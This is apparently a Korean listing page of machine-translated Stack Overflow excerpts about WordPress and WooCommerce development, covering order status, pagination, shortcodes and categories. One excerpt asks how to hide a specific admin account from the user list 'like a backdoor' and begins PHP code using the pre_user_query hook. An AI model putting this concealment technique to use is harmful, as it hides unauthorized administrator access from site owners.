Wordpress 89

처리에서 보류로 주문이 작성될 때 WooCommerce 주문 상태 설정

처리에서 보류로 주문이 작성될 때 WooCommerce 주문 상태 설정 woocommerce 주문이 작성되면 주문 상태는 "processing"이 됩니다.기본 주문 상태를 "pending"으로 변경해야 합니다. 어떻게 하면 좋을까요?기본 주문 상태는 결제 방법 또는 결제 게이트웨이에 따라 설정됩니다. 이 커스텀 후크 기능을 사용하려고 해도 동작하지 않습니다(이 후크는 지불 방법이나 지불 게이트웨이보다 먼저 기동하기 때문에). add_action( 'woocommerce_checkout_order_processed', 'changing_order_status_before_payment', 10, 3 ); function changing_order_status_before_payment( $order_id,..

programing 2023.03.08

PHP에서 오브젝트 내의 ":private" 배열에 액세스하려면 어떻게 해야 합니까?

PHP에서 오브젝트 내의 ":private" 배열에 액세스하려면 어떻게 해야 합니까? 최대 약 3.3beta1 항목까지WP_Admin_Bar Object에는 다음과 같은 구문을 사용하여 접근할 수 있습니다.예를 들어 기존 메뉴 항목 중 하나의 CSS 클래스를 변경할 수 있습니다. $wp_admin_bar->menu->{'wp-logo'}['meta']['class'] = 'new-class'; 실행 시print_r($wp_admin_bar)출력은 다음과 같습니다. WP_Admin_Bar Object ( [menu] => stdClass Object ( [my-account] => Array ( 단, 버전 주변3.3beta2메뉴 항목의 CSS 클래스를 변경하기 위한 위의 구문은 더 이상 작동하지 않습니다...

programing 2023.02.26

Wordpress 사용자 목록에서 특정 관리자 계정 숨기기

Wordpress 사용자 목록에서 특정 관리자 계정 숨기기 Wordpress에서 admin 사용자를 생성하여 Wordpress 대시보드의 사용자 목록에서 숨김 백도어처럼 숨깁니다.모든 관리자를 숨기려는 것이 아니라 특정 관리자만 숨기려는 것입니다. 어떤 도움이라도 대단히 감사합니다.이 작업은 사용자 정의 기능을 사용하여 수행할 수 있습니다.functions.php다음은 예를 제시하겠습니다. add_action('pre_user_query','yoursite_pre_user_query'); function yoursite_pre_user_query($user_search) { global $current_user; $username = $current_user->user_login; if ($usernam..

programing 2023.02.26

WooCommerce 카트에서 배송을 제거하려면 어떻게 해야 합니까?

WooCommerce 카트에서 배송을 제거하려면 어떻게 해야 합니까? 닫혔어. 이 질문은 좀 더 자세히 설명해야 합니다.초점을 맞춥니다.현재 답변을 받고 있지 않습니다. 이 질문을 개선하시겠습니까?이 게시물을 편집하여 하나의 문제에 초점을 맞추도록 질문을 업데이트하십시오. 6년 전에 문을 닫았어요 이 질문을 개선하다 카트에서 배송 및 배송 계산을 삭제해야 합니다.훅으로 삭제할 수 있습니까? 템플릿은 http://flatsome.uxthemes.com/cart/ 입니다. WooCommerce 카트다음 스니펫을 함수에 추가합니다.php 파일: function disable_shipping_calc_on_cart( $show_shipping ) { if( is_cart() ) { return false; } ..

programing 2023.02.26

WooCommerce 관리 주문 개요에 주문 메타데이터 추가

WooCommerce 관리 주문 개요에 주문 메타데이터 추가 저는 WooCommerce용 플러그인을 개발 중입니다.admin의 주문 상세 템플릿을 덮어쓰고 싶습니다.https://www.skyverge.com/blog/override-woocommerce-template-file-within-a-plugin/에서 에 대해 읽었는데, admin의 주문 상세 템플릿을 덮어쓰는 방법을 아직 모르겠습니다.다음은 내 코드입니다. if ( in_array( 'woocommerce/woocommerce.php', apply_filters( 'active_plugins', get_option( 'active_plugins' ) ) ) ) { if ( ! class_exists( 'Test' ) ) { load_plug..

programing 2023.02.26

WordPress paginate_links - 사용방법

WordPress paginate_links - 사용방법 하위 페이지가 있는 페이지에 번호 페이지를 추가하고 싶습니다.(부트스트랩에서) 작성하는 페이지 수는 다음과 같습니다. « 1 2 3 4 5 » 그리고 이게 내 코드야 그런데 작동이 안 돼요.내가 뭘 놓쳤는지 알아? 페이지 번호부여: Prev 1 2 3 Next 위의 코드를 사용해 주시겠습니까?당신에게 도움이 될 것 같아요.여기 멋진 부트스트랩 페이지링크를 갖는 기능이 있습니다. function bootstrap_pagination() { global $wp_query; $big = 999999999; $listString = paginate_links(array( 'base' => str_replace($big, '%#%', get_pagenum_..

programing 2023.02.26

Wordpress 4.9+에서 admin-ajax.php의 PHP 오류 표시

Wordpress 4.9+에서 admin-ajax.php의 PHP 오류 표시 다양한 작업을 수행하는 커스텀 엔드포인트가 몇 개 설정되어 있으며, 이를 통해 액세스합니다./wp/wp-admin/admin-ajax.php?action=some_action 그러나 구문, 논리, 치명적 등의 오류가 발생할 때마다 브라우저에서 페이지를 볼 때 단순히 "500 내부 서버 오류"가 발생합니다. 사이트상의 다른 페이지마다 오류가 발생하면 디버깅에 도움이 되도록 PHP 오류가 표시됩니다. 단, 에러가 발생한 경우admin-ajax.php그런 다음 PHP 로그 파일을 열어 오류를 대신 확인해야 합니다. 이는 현재 개발 중인 PHP 로그 파일보다 더 큰 문제입니다. 이 URL 네임스페이스에서 오류 표시를 비활성화하는 wor..

programing 2023.02.26

echo를 사용한 워드프레스 vs 쇼트코드 함수 반환

echo를 사용한 워드프레스 vs 쇼트코드 함수 반환 둘 다 눈에 띄었다echo그리고.return는 워드프레스에 쇼트코드 함수의 내용을 표시하는데 정상적으로 동작합니다. function foobar_shortcode($atts) { echo "Foo Bar"; //this works fine } function foobar_shortcode($atts) { return "Foo Bar"; //so does this } 이것들 중 하나를 사용하는 것에 차이가 있나요?그렇다면 워드프레스에 대해 권장되는 접근 방식은 무엇입니까?저는 평소에echo이 경우 - 괜찮습니까?에코가 당신의 특정한 경우에 효과가 있을 수 있지만 당신은 절대 그것을 사용해서는 안 된다.쇼트 코드는 아무것도 출력하는 것이 아니라 콘텐츠만 ..

programing 2023.02.26

새로운 Woocommerce 제품 작성 카테고리를 프로그램적으로 설정하려면 어떻게 해야 합니까?

새로운 Woocommerce 제품 작성 카테고리를 프로그램적으로 설정하려면 어떻게 해야 합니까? 여기에 제시된 솔루션을 사용하면 워드프레스 투고용 "카테고리"를 쉽게 작성할 수 있습니다. //Check if category already exists $cat_ID = get_cat_ID( $category ); //If it doesn't exist create new category if($cat_ID == 0) { $cat_name = array('cat_name' => $category); wp_insert_category($cat_name); } //Get ID of category again incase a new one has been created $new_cat_ID = get_cat_ID..

programing 2023.02.19